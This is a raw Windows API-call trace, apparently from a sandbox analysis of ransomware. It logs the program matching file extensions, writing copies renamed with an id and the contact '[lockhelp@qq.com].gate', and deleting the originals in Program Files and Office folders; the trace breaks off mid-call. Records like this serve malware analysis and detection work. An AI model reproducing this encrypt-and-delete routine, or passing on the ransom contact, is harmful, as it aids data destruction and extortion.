lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0276.029] lstrlenW (lpString=".bz2") returned 4 [0276.029] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0276.029] lstrlenW (lpString=".7z") returned 3 [0276.029] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0276.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0276.029] lstrlenW (lpString=".dbf") returned 4 [0276.029] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0276.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0276.029] lstrlenW (lpString=".1cd") returned 4 [0276.029] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0276.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0276.029] lstrlenW (lpString=".jpg") returned 4 [0276.029] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0276.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0276.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0276.029] lstrlenW (lpString=".doc") returned 4 [0276.030] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0276.030] lstrlenW (lpString=".docx") returned 5 [0276.030] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0276.030] lstrlenW (lpString=".pdf") returned 4 [0276.030] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0276.030] lstrlenW (lpString=".xls") returned 4 [0276.030] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0276.030] lstrlenW (lpString=".xlsx") returned 5 [0276.030] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0276.030] lstrlenW (lpString=".ppt") returned 4 [0276.030] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0276.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0276.030] lstrlenW (lpString=".zip") returned 4 [0276.030] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0276.030] lstrlenW (lpString=".rar") returned 4 [0276.030] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0276.030] lstrlenW (lpString=".bz2") returned 4 [0276.030] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0276.030] lstrlenW (lpString=".7z") returned 3 [0276.030] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0276.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0276.030] lstrlenW (lpString=".dbf") returned 4 [0276.030] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0276.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0276.030] lstrlenW (lpString=".1cd") returned 4 [0276.030] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0276.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0276.030] lstrlenW (lpString=".jpg") returned 4 [0276.030] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0276.030] lstrcmpiW (lpString1=".htm", lpString2=".gate") returned 1 [0276.031] lstrlenW (lpString="Hand Prints.htm") returned 15 [0276.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0276.129] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=235) returned 1 [0276.129] CloseHandle (hObject=0x3b4) returned 1 [0276.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0276.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0276.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0276.153] lstrlenW (lpString=".doc") returned 4 [0276.153] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0276.153] lstrlenW (lpString=".docx") returned 5 [0276.154] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0276.154] lstrlenW (lpString=".pdf") returned 4 [0276.154] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0276.154] lstrlenW (lpString=".xls") returned 4 [0276.154] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0276.154] lstrlenW (lpString=".xlsx") returned 5 [0276.154] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0276.154] lstrlenW (lpString=".ppt") returned 4 [0276.154] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0276.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0276.154] lstrlenW (lpString=".zip") returned 4 [0276.154] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0276.154] lstrlenW (lpString=".rar") returned 4 [0276.154] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0276.154] lstrlenW (lpString=".bz2") returned 4 [0276.154] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0276.154] lstrlenW (lpString=".7z") returned 3 [0276.154] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0276.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0276.154] lstrlenW (lpString=".dbf") returned 4 [0276.154] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0276.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0276.154] lstrlenW (lpString=".1cd") returned 4 [0276.154] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0276.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0276.154] lstrlenW (lpString=".jpg") returned 4 [0276.154] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0276.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0276.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0276.155] lstrlenW (lpString=".doc") returned 4 [0276.155] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0276.155] lstrlenW (lpString=".docx") returned 5 [0276.155] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0276.155] lstrlenW (lpString=".pdf") returned 4 [0276.155] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0276.155] lstrlenW (lpString=".xls") returned 4 [0276.155] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0276.155] lstrlenW (lpString=".xlsx") returned 5 [0276.155] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0276.155] lstrlenW (lpString=".ppt") returned 4 [0276.155] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0276.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0276.155] lstrlenW (lpString=".zip") returned 4 [0276.155] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0276.155] lstrlenW (lpString=".rar") returned 4 [0276.155] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0276.155] lstrlenW (lpString=".bz2") returned 4 [0276.155] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0276.155] lstrlenW (lpString=".7z") returned 3 [0276.155] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0276.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0276.155] lstrlenW (lpString=".dbf") returned 4 [0276.155] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0276.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0276.155] lstrlenW (lpString=".1cd") returned 4 [0276.155] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0276.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0276.155] lstrlenW (lpString=".jpg") returned 4 [0276.155] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0276.156] lstrcmpiW (lpString1=".jpg", lpString2=".gate") returned 1 [0276.156] lstrlenW (lpString="Peacock.jpg") returned 11 [0276.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0276.369] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5115) returned 1 [0276.369] CloseHandle (hObject=0x3d8) returned 1 [0276.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0276.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0276.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0276.370] lstrlenW (lpString=".doc") returned 4 [0276.370] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0276.370] lstrlenW (lpString=".docx") returned 5 [0276.370] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0276.370] lstrlenW (lpString=".pdf") returned 4 [0276.370] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0276.370] lstrlenW (lpString=".xls") returned 4 [0276.370] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0276.370] lstrlenW (lpString=".xlsx") returned 5 [0276.370] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0276.370] lstrlenW (lpString=".ppt") returned 4 [0276.370] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0276.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0276.370] lstrlenW (lpString=".zip") returned 4 [0276.370] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0276.370] lstrlenW (lpString=".rar") returned 4 [0276.370] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0276.370] lstrlenW (lpString=".bz2") returned 4 [0276.370] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0276.370] lstrlenW (lpString=".7z") returned 3 [0276.370] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0276.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0276.370] lstrlenW (lpString=".dbf") returned 4 [0276.370] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0276.642] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.642] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0276.810] GetLastError () returned 0x0 [0276.810] ReadFile (in: hFile=0x3bc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x80e56, lpOverlapped=0x0) returned 1 [0276.909] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x80e60, lpOverlapped=0x0) returned 1 [0276.917] ReadFile (in: hFile=0x3bc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.917] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x13e, lpOverlapped=0x0) returned 1 [0276.917] SetEndOfFile (hFile=0x404) returned 1 [0277.183] CloseHandle (hObject=0x404) returned 1 [0277.492] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.492] SetEndOfFile (hFile=0x3bc) returned 1 [0277.618] CloseHandle (hObject=0x3bc) returned 1 [0277.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0277.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0277.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0277.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0277.619] lstrlenW (lpString=".doc") returned 4 [0277.619] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0277.619] lstrlenW (lpString=".docx") returned 5 [0277.619] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0277.619] lstrlenW (lpString=".pdf") returned 4 [0277.619] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0277.619] lstrlenW (lpString=".xls") returned 4 [0277.619] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0277.619] lstrlenW (lpString=".xlsx") returned 5 [0277.619] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0277.619] lstrlenW (lpString=".ppt") returned 4 [0277.619] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0277.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0277.619] lstrlenW (lpString=".zip") returned 4 [0277.619] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0277.619] lstrlenW (lpString=".rar") returned 4 [0277.619] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0277.619] lstrlenW (lpString=".bz2") returned 4 [0277.619] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0277.620] lstrlenW (lpString=".7z") returned 3 [0277.620] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0277.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0277.620] lstrlenW (lpString=".dbf") returned 4 [0277.620] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0277.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0277.620] lstrlenW (lpString=".1cd") returned 4 [0277.620] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0277.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0277.620] lstrlenW (lpString=".jpg") returned 4 [0277.620] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0277.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0277.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0277.620] lstrlenW (lpString=".doc") returned 4 [0277.620] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0277.620] lstrlenW (lpString=".docx") returned 5 [0277.620] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0277.620] lstrlenW (lpString=".pdf") returned 4 [0277.620] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0277.620] lstrlenW (lpString=".xls") returned 4 [0277.620] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0277.620] lstrlenW (lpString=".xlsx") returned 5 [0277.620] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0277.620] lstrlenW (lpString=".ppt") returned 4 [0277.620] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0277.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0277.620] lstrlenW (lpString=".zip") returned 4 [0277.620] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0277.620] lstrlenW (lpString=".rar") returned 4 [0277.621] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0277.621] lstrlenW (lpString=".bz2") returned 4 [0277.621] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0277.621] lstrlenW (lpString=".7z") returned 3 [0277.621] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0277.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0277.621] lstrlenW (lpString=".dbf") returned 4 [0277.621] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0277.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0277.621] lstrlenW (lpString=".1cd") returned 4 [0277.621] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0277.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0277.621] lstrlenW (lpString=".jpg") returned 4 [0277.621] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0277.621] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0277.621] lstrlenW (lpString="AG00004_.GIF") returned 12 [0277.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0277.626] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=9024) returned 1 [0277.626] CloseHandle (hObject=0x3bc) returned 1 [0277.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0277.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0277.626] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.626] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0277.955] GetLastError () returned 0x0 [0277.955] ReadFile (in: hFile=0x3bc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2340, lpOverlapped=0x0) returned 1 [0278.132] WriteFile (in: hFile=0x390, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2350, lpOverlapped=0x0) returned 1 [0278.133] ReadFile (in: hFile=0x3bc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.133] WriteFile (in: hFile=0x390, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.134] SetEndOfFile (hFile=0x390) returned 1 [0278.134] CloseHandle (hObject=0x390) returned 1 [0278.134] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.134] SetEndOfFile (hFile=0x3bc) returned 1 [0278.137] CloseHandle (hObject=0x3bc) returned 1 [0278.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0278.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0278.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0278.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0278.138] lstrlenW (lpString=".doc") returned 4 [0278.138] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.138] lstrlenW (lpString=".docx") returned 5 [0278.138] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.138] lstrlenW (lpString=".pdf") returned 4 [0278.138] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.138] lstrlenW (lpString=".xls") returned 4 [0278.138] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.138] lstrlenW (lpString=".xlsx") returned 5 [0278.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.138] lstrlenW (lpString=".ppt") returned 4 [0278.138] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0278.138] lstrlenW (lpString=".zip") returned 4 [0278.138] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.138] lstrlenW (lpString=".rar") returned 4 [0278.138] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.138] lstrlenW (lpString=".bz2") returned 4 [0278.138] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.138] lstrlenW (lpString=".7z") returned 3 [0278.139] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0278.139] lstrlenW (lpString=".dbf") returned 4 [0278.139] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0278.139] lstrlenW (lpString=".1cd") returned 4 [0278.139] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0278.139] lstrlenW (lpString=".jpg") returned 4 [0278.139] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0278.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0278.139] lstrlenW (lpString=".doc") returned 4 [0278.139] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.139] lstrlenW (lpString=".docx") returned 5 [0278.139] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.139] lstrlenW (lpString=".pdf") returned 4 [0278.139] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 